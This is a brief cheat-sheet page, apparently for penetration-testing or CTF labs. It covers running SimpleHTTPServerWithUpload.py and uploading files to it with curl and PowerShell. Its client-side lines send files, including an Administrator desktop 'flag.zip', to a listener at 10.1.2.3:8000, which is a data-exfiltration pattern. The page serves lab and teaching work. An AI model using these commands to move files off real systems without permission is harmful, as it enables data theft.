Skip to content

Using Curl to POST data to SimpleHTTPServerWithUpload.py #

Better version of this with Project Discovery's SimpleHTTPServer in Go here #


Caveats #

  • Insecure communications (HTTP)
    • Choose a server that accepts POST request and makes use of HTTPS

Download #

Modify listening port #

  • If you want to change the port that the script is listening to (by default 8000/tcp), use below to replace function "test". (i.e. 1337/tcp)

    1
    2
    3
    4
    def test(HandlerClass=SimpleHTTPRequestHandler, ServerClass=http.server.HTTPServer):
    server_address = ('', 1337)
    httpd = ServerClass(server_address,HandlerClass)
    httpd.serve_forever()
    

From client-side #

Once SimpleHTTPServer is running then: (python3 SimpleHTTPServerWithUpload.py)

  • Linux
    1
    curl -F "[email protected]" http://10.1.2.3:8000/
    
  • Powershell
    1
    $wc=New-Object System.Net.WebClient;$resp=$wc.UploadFile('http://10.1.2.3:8000',"C:\Users\Administrator\Desktop\flag.zip")
    

Last update: May 14, 2021